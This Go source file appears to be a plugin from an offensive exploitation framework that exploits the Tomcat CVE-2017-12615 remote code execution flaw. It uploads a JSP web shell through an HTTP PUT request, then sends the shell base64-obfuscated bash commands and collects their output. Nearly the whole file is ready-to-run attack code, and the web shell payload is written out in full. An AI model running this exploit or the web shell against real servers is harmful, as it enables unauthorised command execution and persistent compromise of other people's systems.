package drops

import (
	"context"
	"encoding/base64"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	logx "gitee.com/wudicaidou/menciis-logx"
	"io/ioutil"
	"net/http"
	"net/url"
	"time"

	shttp "gitee.com/wudicaidou/menciis-shttp"

	"gitee.com/wudicaidou/menciis-pocx/pocbase"
)

// Tomcat 远程代码执行漏洞(CVE-2017-12615)利用 Exp
type TomcatCve201712615 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp TomcatCve201712615
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *TomcatCve201712615) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "7846f06d-6477-444a-8e06-e1d7b948a93f",
		VulId:   "840badf2-a2c6-4259-abc3-3c18bf635975",
		Name:    "Tomcat_CVE_2017_12615",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

var baseUrlCve201712615 string

func (t *TomcatCve201712615) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	if len(expContext.CommandToExecute) == 0 {
		return nil, nil
	}

	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}

	req := reqAsset.Req.Clone()
	baseUrlCve201712615 = req.GetUrl().String() + "/exphub.jsp"
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36")

	err = t.createCommandInterface(req, expContext)
	if err != nil {
		logx.Error(err)
		return nil, err
	}
	//time.Sleep(1 * time.Second)

	//for _, cmd := range expContext.CommandToExecute {
	cmd, _, err := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 10)
	if err != nil {
		return nil, err
	}

	resp, err := t.execCommand(cmd, req, expContext)
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	respBody, _err := ioutil.ReadAll(resp.Body)
	if _err != nil {
		logx.Error(err)
		return nil, err
	}

	data = append(data, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    respBody,
	})
	//}
	time.Sleep(time.Second * 1)
	return
}

func (t *TomcatCve201712615) createCommandInterface(req *shttp.Request, expContext *expbase.ExpContext) error {
	payload := `
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%
  String cmd = request.getParameter("cmd");

  if (!"".equals(cmd)) {
    Process pro = Runtime.getRuntime().exec(cmd);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String line = null;

    while ((line = buf.readLine()) != null) {
      out.println(line);
    }

    buf.close();
  } else{
    out.println("parameter 'cmd' must be not empty!");
  }
%>
`

	var (
		newUrl *url.URL
		err    error
	)

	newUrl, err = url.Parse(baseUrlCve201712615 + "/")
	if err != nil {
		logx.Error(err)
		return err
	}

	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPut
	req.SetBody([]byte(payload))

	_, err = expContext.HttpClient.HTTPClient.Do(req.RawRequest)
	if err != nil {
		logx.Error(err)
		return err
	}

	return nil
}

func (t *TomcatCve201712615) execCommand(cmd string, req *shttp.Request, expContext *expbase.ExpContext) (resp *http.Response, err error) {
	var newUrl *url.URL
	res := base64.StdEncoding.EncodeToString([]byte(cmd))
	cmd = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
	newUrl, err = url.Parse(baseUrlCve201712615 + "?cmd=" + url.QueryEscape(cmd))
	if err != nil {
		logx.Error(err)
		return nil, err
	}
	reqTo, _ := http.NewRequest(http.MethodGet, newUrl.String(), nil)
	//req.RawRequest.URL = newUrl
	//req.RawRequest.Method =

	//resp, err = expContext.HttpClient.HTTPClient.Do(req.RawRequest)
	resp, err = expContext.HttpClient.HTTPClient.Do(reqTo)
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	return
}

func (t *TomcatCve201712615) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *TomcatCve201712615) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}

func payloadCommand(cmd []string) string {
	htmlEscapeTable := map[string]string{
		"&":  "&amp;",
		"\"": "&quot;",
		"'":  "&apos;",
		">":  "&gt;",
		"<":  "&lt;",
	}

	commandFiltered := "<string>"
	for _, c := range cmd {
		if h, ok := htmlEscapeTable[c]; ok {
			commandFiltered += h
		} else {
			commandFiltered += c
		}
	}
	commandFiltered += "</string>"

	return commandFiltered
}
